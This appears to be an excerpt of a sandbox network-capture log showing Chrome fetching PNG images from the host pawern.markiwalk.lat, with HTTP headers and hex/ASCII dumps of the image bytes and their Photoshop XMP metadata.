2024-10-03 16:18:15 UTC	1369	IN	Data Raw: d4 b2 f7 7a 8a 92 07 e7 40 a9 4a 71 03 28 2b dc 9d 82 60 c7 19 6c 27 c2 b2 91 2e 32 e1 94 38 a8 88 b2 36 1d a0 54 a0 e2 51 94 8d ef 5d 0f 81 7a 33 48 51 22 c2 d2 85 2e f2 60 d7 72 66 36 65 c7 07 42 29 bb 81 cd 28 eb 73 7e 16 aa c4 33 c8 11 84 a7 25 5d b4 43 b0 e6 a9 c9 94 4d ce 80 52 92 99 93 e9 62 e2 4e 58 b2 19 28 09 61 ca a7 6c 7d 3a 02 2c e9 59 48 d9 27 83 72 a0 94 ac e1 f2 a1 74 d1 a4 75 1c ca 6d 67 80 d1 71 08 d3 7d 74 b1 15 95 d2 93 56 d3 45 76 fd bb a0 54 08 ad ff c3 b7 df 7e f7 23 05 e3 07 c4 a3 d4 7d 0c d0 17 e1 8a a5 8b 01 28 37 ab 6b 36 5d f4 1b 7c 17 94 f2 f0 df ff eb b7 97 be fb 91 92 fc bc 58 a0 25 03 b4 46 d8 12 28 cb 46 89 7a 83 87 d0 4d 93 a4 38 28 e5 e9 3f ff 97 3f ff fd 2f 97 fe e9 e2 45 4a 86 2c ca ca 67 95 c5 08 db dd 74 71 75 62 d2 Data Ascii: z@Jq(+`l'.286TQ]z3HQ".`rf6eB)(s~3%]CMRbNX(al}:,YH'rtumgq}tVEvT~#}(7k6]\|X%F(FzM8(??/EJ,gtqub
2024-10-03 16:18:15 UTC	111	IN	Data Raw: e7 4f 37 1e 7a ec bb fd fd 47 5f 9e 0a a5 ea a4 69 8f 1e 2a e8 6e 24 dd 97 3d f7 f1 07 2b 5f 99 0a a5 ea b8 e1 6f 1c fc fa fd 0b 1f df 5c ee e3 3b b7 6c 7a 71 ee 0b af 0c 87 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 54 c4 fc 7f 7d bd 6a 91 d1 77 f1 19 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: O7zG_i*n$=+_o\;lzqRJ)RJ)RJ)RJ)RJ)RJ)T}jwIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49764	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:14 UTC	715	OUT	GET /master/us217/flaglogo.png HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:15 UTC	802	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:15 GMT Content-Type: image/png Content-Length: 1781 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:27:01 GMT last-modified: Thu, 05 Sep 2024 16:49:31 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 3074 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QcldmJjXOWyT3Mmvt3xGYNGDYqUpfqzdoS5cTNG2vtzriVZlKg6LC6MoJwMxe2Fh%2BRZhRJM%2Fph%2Fcx59kUqgWpitSMb32s1GviAPdqgnU117iMGUk6oMKJ0Ej1VyjHDQlzyWR7%2FraiQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f3c1fd14407-EWR
2024-10-03 16:18:15 UTC	567	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 06 bc 49 44 41 54 78 01 ed d8 03 74 5c 5b 17 07 f0 9d 64 d8 78 b5 0b 75 6a db b6 1f ca 38 99 bc 38 13 ab 76 27 cf 66 6d c4 c6 b3 5f ed a8 b6 dd 26 35 fe df be 67 cd fd 14 4d e6 19 67 ad df 5d fb 84 7b fd ef 3e 23 fa 67 fd de cb 60 c8 6e 92 90 90 3f dc 60 c8 d7 bd f6 ea 57 e1 06 43 41 64 6e c2 3a bf eb 09 09 2f 5c 4c 48 68 cf b4 8c cc 65 de 2f d1 e4 ce 13 27 ae 36 ac df b0 67 27 91 df 1d a2 29 68 db 76 09 56 ad da 09 a2 28 4c a5 36 28 26 c2 36 a2 c7 ec 28 5b b5 9d 68 fc 56 22 15 23 d3 d5 f2 87 eb d5 9b d7 47 ad 0e 4d 53 28 82 1e 74 ec b8 08 b1 b1 39 50 2a 43 a0 50 04 a3 75 eb 79 98 3d 2b 1f 96 da 68 f8 db 8f c5 d9 16 cd 51 ea d4 ec 7f 94 38 39 ed 39 32 Data Ascii: PNGIHDR((mIDATxt\[dxuj88v'fm_&5gMg]{>#g`n?`WCAdn:/\LHhe/'6g')hvV(L6(&6([hV"#GMS(t9P*CPuy=+hQ8992
2024-10-03 16:18:15 UTC	1214	IN	Data Raw: d6 97 d1 ff e3 4b 45 dd bb bf fd 96 4a c5 49 69 42 d0 bb f7 1b d0 e9 36 71 43 41 a8 53 47 8f ce 9d 97 20 20 20 11 6a 9e 3f 6b eb 50 b4 6a 35 1f 7a 7d 0a cf 5f 98 b1 49 7f 84 f5 89 46 d9 dc d9 b8 32 67 8e 49 ae ce 9e 8d ab 0b 16 14 5f 5b b6 d4 96 d1 7f a3 0a 5f 20 9f ee 9c de a3 b0 b0 14 ac 5d b7 47 fc 43 29 39 2f af 75 48 4d 2d 84 85 45 90 98 b9 e7 9f 5f 8a 3c 9e 39 8d 26 4c 24 39 78 f0 bb f8 ea cb 63 e2 76 47 c4 65 c0 cc b5 a8 c6 43 a2 52 85 65 68 b5 7a f4 ed fb 16 5c 5c d6 42 65 4c aa 4b 97 57 e0 ed bd 51 cc 9c 8d 6d 18 da b6 59 08 7f bf 2d e2 f4 da f2 be a9 d3 1c 04 07 25 83 c8 0f 51 b1 69 30 73 dd 64 0d ab 6c 90 93 e8 10 17 97 f9 68 e5 ca 5d bc 79 49 24 e7 cf b7 33 29 e9 a0 71 06 5d 30 6d da 6a e4 e4 1e 82 42 a1 17 c9 8d 1a f5 11 be e4 e4 c4 e3 20 b9 Data Ascii: KEJIiB6qCASG j?kPj5z}_IF2gI_[_ ]GC)9/uHM-E_<9&L$9xcvGeCRehz\\BeLKWQmY-%Qi0sdlh]yI$3)q]0mjB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49763	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:14 UTC	714	OUT	GET /master/us217/product.png HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:15 UTC	803	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:15 GMT Content-Type: image/png Content-Length: 70077 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:27:01 GMT last-modified: Thu, 05 Sep 2024 16:49:32 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 3074 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=efFQw6lPYOw11UEpR9UtIwOws3AnYlzq7GvDErEd5v4dQ4KgM8B%2FVh7hQU9pQPuez5MRJunbD9qBs%2FAkoYIP7%2FwjRL7WDkzgcszkdCavyso%2BJIVuB1nykv15rW1n3GgtfedlJ7JGVw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f3c3b4f43ff-EWR
2024-10-03 16:18:15 UTC	566	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 fa 00 00 00 fa 08 03 00 00 00 bf 32 aa 0f 00 00 a0 66 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 34 38 38 2c 20 32 30 32 30 2f 30 37 2f 31 30 2d 32 32 3a 30 36 3a 35 33 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 Data Ascii: PNGIHDR2fiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53 "> <rdf:RDF xmlns:rdf="http://w
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 74 23 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 22 20 78 6d 70 3a 43 72 65 61 74 65 44 61 74 65 3d 22 32 30 32 32 2d 30 34 2d 32 31 54 32 31 3a 34 35 3a 31 33 2b 30 38 3a 30 30 22 20 78 6d 70 3a 4d 6f 64 69 66 79 44 61 74 65 3d 22 32 30 32 34 2d 30 39 2d 30 35 54 32 32 3a 30 36 3a 35 30 2b 30 35 3a 33 30 22 20 78 6d 70 3a 4d 65 74 61 64 61 74 61 44 61 74 65 3d 22 32 30 32 34 2d 30 39 2d 30 35 54 32 32 3a 30 36 3a 35 30 2b 30 35 3a 33 30 22 20 64 63 3a 66 6f 72 6d 61 74 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 70 68 6f 74 6f 73 68 6f 70 3a 43 6f 6c 6f 72 4d 6f 64 65 3d 22 33 22 20 70 68 6f 74 6f 73 68 6f 70 3a 49 43 43 50 72 6f 66 69 6c 65 3d 22 73 52 47 Data Ascii: t#" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)" xmp:CreateDate="2022-04-21T21:45:13+08:00" xmp:ModifyDate="2024-09-05T22:06:50+05:30" xmp:MetadataDate="2024-09-05T22:06:50+05:30" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRG
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 41 44 35 35 39 39 33 42 38 45 31 46 32 46 31 39 39 46 30 35 37 34 31 43 38 44 32 37 43 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 42 39 45 35 44 32 39 31 32 44 38 32 36 36 37 41 31 43 32 44 32 33 31 30 38 44 35 37 34 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 44 30 38 39 44 37 41 35 38 41 39 34 41 37 46 41 30 38 41 39 44 31 45 38 43 33 41 39 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 46 31 31 39 37 43 36 34 32 44 31 36 42 43 34 35 31 41 36 36 39 41 46 33 45 43 41 37 32 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 32 41 45 30 43 32 30 38 37 31 31 43 32 34 38 42 38 38 41 39 43 32 37 42 44 30 31 30 42 38 42 3c 2f 72 64 66 3a 6c 69 Data Ascii: df:li> <rdf:li>1AD55993B8E1F2F199F05741C8D27CD6</rdf:li> <rdf:li>1B9E5D2912D82667A1C2D23108D574E5</rdf:li> <rdf:li>1DD089D7A58A94A7FA08A9D1E8C3A9A6</rdf:li> <rdf:li>1F1197C642D16BC451A669AF3ECA722C</rdf:li> <rdf:li>22AE0C208711C248B88A9C27BD010B8B</rdf:li
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 41 32 35 42 37 34 44 45 35 35 31 34 39 41 33 41 41 42 31 33 33 46 30 42 34 42 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 31 34 42 45 30 46 43 46 45 45 41 41 43 46 41 30 31 39 44 36 46 31 38 36 32 45 39 45 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 33 39 34 39 32 41 32 34 30 44 43 39 46 41 34 32 45 36 41 32 45 45 36 45 39 37 34 35 45 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 35 33 44 43 34 33 35 38 46 39 36 37 43 38 43 32 46 35 38 36 44 39 37 38 38 31 39 44 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 43 37 42 44 41 36 43 36 34 31 35 35 38 46 38 43 45 38 45 46 42 45 33 31 31 41 45 42 43 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 43 43 33 32 31 33 34 30 Data Ascii: A25B74DE55149A3AAB133F0B4B39</rdf:li> <rdf:li>4614BE0FCFEEAACFA019D6F1862E9EA5</rdf:li> <rdf:li>4639492A240DC9FA42E6A2EE6E9745E4</rdf:li> <rdf:li>4A53DC4358F967C8C2F586D978819D3E</rdf:li> <rdf:li>4C7BDA6C641558F8CE8EFBE311AEBC8B</rdf:li> <rdf:li>4CC321340
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 32 44 31 39 44 38 30 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 39 41 32 46 44 39 46 46 42 31 45 43 38 32 33 37 41 36 33 37 31 37 44 38 30 31 46 39 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 46 36 30 38 34 45 34 45 42 43 30 37 43 36 42 30 38 36 43 31 43 46 37 38 42 34 36 41 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 46 41 42 43 38 42 46 32 44 44 37 42 36 31 33 38 38 41 34 37 32 43 30 32 38 32 35 33 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 32 38 36 45 44 41 32 37 35 39 39 43 34 46 42 41 38 34 32 34 34 42 41 33 42 46 43 31 33 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 32 45 43 41 45 38 34 34 41 33 34 43 45 46 38 44 45 38 43 37 33 43 36 41 32 30 31 Data Ascii: 2D19D80BB</rdf:li> <rdf:li>709A2FD9FFB1EC8237A63717D801F9E5</rdf:li> <rdf:li>70F6084E4EBC07C6B086C1CF78B46AA1</rdf:li> <rdf:li>70FABC8BF2DD7B61388A472C02825305</rdf:li> <rdf:li>7286EDA27599C4FBA84244BA3BFC13EE</rdf:li> <rdf:li>72ECAE844A34CEF8DE8C73C6A201
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 39 43 44 32 42 35 35 37 34 33 35 31 31 42 33 45 36 31 46 34 46 33 44 35 45 39 35 30 41 44 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 33 30 30 42 36 37 35 36 43 38 41 46 35 36 39 39 44 35 43 32 34 31 46 44 46 35 31 43 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 38 32 42 37 44 34 38 43 42 38 43 46 36 34 39 44 45 39 35 35 44 41 38 41 39 42 46 30 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 42 31 36 30 33 36 41 38 44 41 34 44 38 39 36 37 46 44 46 44 42 46 46 34 36 39 46 30 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 35 41 33 44 34 39 45 46 36 46 30 43 45 45 34 35 33 41 38 41 37 33 37 33 38 31 43 44 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>9CD2B55743511B3E61F4F3D5E950AD80</rdf:li> <rdf:li>9E300B6756C8AF5699D5C241FDF51CFE</rdf:li> <rdf:li>A382B7D48CB8CF649DE955DA8A9BF011</rdf:li> <rdf:li>A3B16036A8DA4D8967FDFDBFF469F06B</rdf:li> <rdf:li>A65A3D49EF6F0CEE453A8A737381CDA9</rdf:li> <rdf:
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 32 35 38 38 32 42 33 38 36 39 32 46 39 31 43 39 35 43 39 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 35 33 34 44 38 44 36 30 32 45 38 36 39 38 38 36 42 44 34 45 36 39 37 39 46 38 43 46 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 32 32 37 30 45 33 35 36 30 34 45 45 41 43 32 37 35 34 45 30 41 32 43 36 30 35 38 46 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 45 30 39 37 45 30 35 31 41 44 36 36 35 37 44 31 39 41 30 30 36 34 30 37 36 45 45 35 44 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 46 38 39 39 41 42 38 39 39 30 30 35 36 33 30 35 36 32 39 33 31 45 31 37 45 30 31 33 36 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 32 34 43 30 43 38 36 45 31 38 32 41 46 33 36 Data Ascii: 25882B38692F91C95C95B</rdf:li> <rdf:li>DB534D8D602E869886BD4E6979F8CFD0</rdf:li> <rdf:li>DC2270E35604EEAC2754E0A2C6058F1F</rdf:li> <rdf:li>DE097E051AD6657D19A0064076EE5D0A</rdf:li> <rdf:li>DF899AB899005630562931E17E0136C2</rdf:li> <rdf:li>E24C0C86E182AF36
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 34 34 2d 31 35 31 33 2d 31 31 37 38 2d 62 66 37 33 2d 66 34 36 39 32 64 62 66 37 32 61 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 32 32 35 32 38 65 61 2d 64 62 38 35 2d 63 66 34 31 2d 39 65 63 66 2d 37 34 32 65 65 36 35 33 38 38 61 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 32 35 32 61 32 36 39 2d 35 64 62 63 2d 31 31 37 39 2d 38 63 34 63 2d 39 36 61 66 38 31 66 38 35 63 63 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 32 64 63 65 65 37 38 2d 63 30 64 66 2d 31 31 37 37 2d 62 38 35 34 2d 65 31 38 65 30 61 62 61 31 Data Ascii: 44-1513-1178-bf73-f4692dbf72a5</rdf:li> <rdf:li>adobe:docid:photoshop:022528ea-db85-cf41-9ecf-742ee65388aa</rdf:li> <rdf:li>adobe:docid:photoshop:0252a269-5dbc-1179-8c4c-96af81f85cc7</rdf:li> <rdf:li>adobe:docid:photoshop:02dcee78-c0df-1177-b854-e18e0aba1
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 34 2d 36 35 38 31 2d 62 31 34 31 2d 61 64 38 61 2d 66 64 36 34 66 64 39 35 61 31 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 30 66 64 39 66 33 36 2d 38 35 66 66 2d 31 31 37 61 2d 61 39 34 39 2d 61 36 31 61 62 37 65 65 30 31 66 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 32 30 30 64 62 30 63 2d 62 33 37 31 2d 31 31 37 62 2d 62 37 36 62 2d 66 31 63 33 62 66 62 34 34 35 63 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 32 63 65 34 37 64 32 2d 38 37 38 37 2d 31 31 37 61 2d 62 30 34 38 2d 62 32 36 62 36 35 64 39 36 64 Data Ascii: 4-6581-b141-ad8a-fd64fd95a138</rdf:li> <rdf:li>adobe:docid:photoshop:10fd9f36-85ff-117a-a949-a61ab7ee01ff</rdf:li> <rdf:li>adobe:docid:photoshop:1200db0c-b371-117b-b76b-f1c3bfb445c1</rdf:li> <rdf:li>adobe:docid:photoshop:12ce47d2-8787-117a-b048-b26b65d96d
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 2d 63 32 36 63 2d 31 31 37 37 2d 62 31 64 33 2d 39 62 35 64 36 62 61 37 34 39 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 30 62 34 63 36 64 63 2d 64 63 62 61 2d 31 31 37 39 2d 62 63 66 38 2d 66 37 38 65 66 33 30 66 35 36 61 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 31 35 35 30 37 37 64 2d 38 32 65 62 2d 31 31 37 61 2d 39 61 38 63 2d 66 31 39 63 39 33 63 39 36 64 37 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 32 36 35 37 39 63 38 2d 36 64 66 31 2d 39 32 34 65 2d 61 36 64 63 2d 61 38 37 66 30 66 30 65 36 66 38 Data Ascii: -c26c-1177-b1d3-9b5d6ba74952</rdf:li> <rdf:li>adobe:docid:photoshop:20b4c6dc-dcba-1179-bcf8-f78ef30f56a3</rdf:li> <rdf:li>adobe:docid:photoshop:2155077d-82eb-117a-9a8c-f19c93c96d7e</rdf:li> <rdf:li>adobe:docid:photoshop:226579c8-6df1-924e-a6dc-a87f0f0e6f8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49765	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:14 UTC	718	OUT	GET /master/us217/f_guarantee.png HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:15 UTC	802	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:15 GMT Content-Type: image/png Content-Length: 6352 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:28:31 GMT last-modified: Thu, 05 Sep 2024 16:49:31 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 2984 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iU5Kh0Lnl37gplkYWAjwsFi4eT2%2FfbeWdLn2zQz8G%2B9NLZr5W8%2BWsyt9oTZWryLntULYk91LkQeSJ3%2F1ufS0o5UzVdKKhqWhfcEheTPlXj7niSRM4PkzqBH8cgVTAxb4CLpwKh6yKg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f3c4ed6c454-EWR
2024-10-03 16:18:15 UTC	567	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5e 00 00 00 5d 08 03 00 00 00 1b 98 21 f2 00 00 02 7f 50 4c 54 45 00 00 00 d9 d4 c7 db d6 ca de da cc d8 d5 c9 cd cd cc ca c9 c6 99 9a 9a c1 c0 bd 97 98 9d f1 e0 a6 e5 dc bb ee df ab cb c8 c6 a7 a7 aa b5 b5 b4 bc bd ba bb bd c0 f8 e6 af b3 b2 b1 c7 c7 c8 e0 cf 82 8b 8d 8d e9 ce 7a e7 d5 91 d1 bd 7e f3 e0 a1 b7 aa 88 ec d8 90 a7 a9 ac e6 d7 a7 f1 e1 af 87 88 8b e8 cb 6c d7 c6 87 c2 b2 82 cc be 9a dd c8 76 81 7e 7f e5 cf 7d 9e 9f 9e 9f 98 8c cc bc 92 ab 9c 7d 17 18 1c 01 01 03 13 14 1a fb da 6e fc d1 53 f9 d4 54 fa cc 38 05 06 0b fb d7 63 08 0b 15 0a 0b 0f fd d8 67 0e 12 14 0d 0f 18 fc d4 5c f7 d6 5b fe df 6d fe dc 61 fa d2 48 28 28 2b 1d 1f 22 33 34 36 f6 cc 30 ff e1 5d f6 d6 60 fe d8 46 f7 d8 6b fb Data Ascii: PNGIHDR^]!PLTEz~lv~}}nST8cg\[maH((+"3460]`Fk
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 9d 77 bf ad 60 dc bf 54 a1 8e 49 5b 50 45 ce cf d1 fe f7 a7 ff e5 57 97 86 4a de bf 43 e2 be 35 fe d4 25 ff fb 8f ee ce 52 e9 c9 4d 33 2d 25 96 89 69 45 3c 32 c2 b1 74 87 7a 63 8a 7d 4c c1 a2 33 a4 93 5e 7a 71 5d 6a 66 5b a7 8c 31 d0 c6 94 d1 b3 36 50 4a 36 ff de 32 aa 94 3c b4 94 35 96 80 2e 44 48 57 b3 99 40 ed ca 3d fd fd ca e7 e6 b8 d0 b8 54 4b 00 00 00 2c 74 52 4e 53 00 1c 09 10 2b 3b 4a cf 82 e9 7a 34 6f 69 ce 90 a0 78 43 b8 5e fe e5 da c8 fe 92 de b2 a7 a1 55 fe ed e0 f9 cb fd f7 c7 b8 f7 ae f2 ba 1e 6a 58 00 00 15 d4 49 44 41 54 68 de ad 9a 87 5f 13 67 18 c7 1b 41 5c 75 d5 51 ed de 33 77 19 97 bb dc 65 5d 2e 21 21 81 24 04 08 04 4c 42 42 c2 0e 20 20 b2 05 01 d9 1b 45 76 d9 ab 94 21 a2 88 22 ee 3d 6b fb 07 f5 b9 80 62 6b 6b ed 78 3e 18 12 3f c9 f7 Data Ascii: 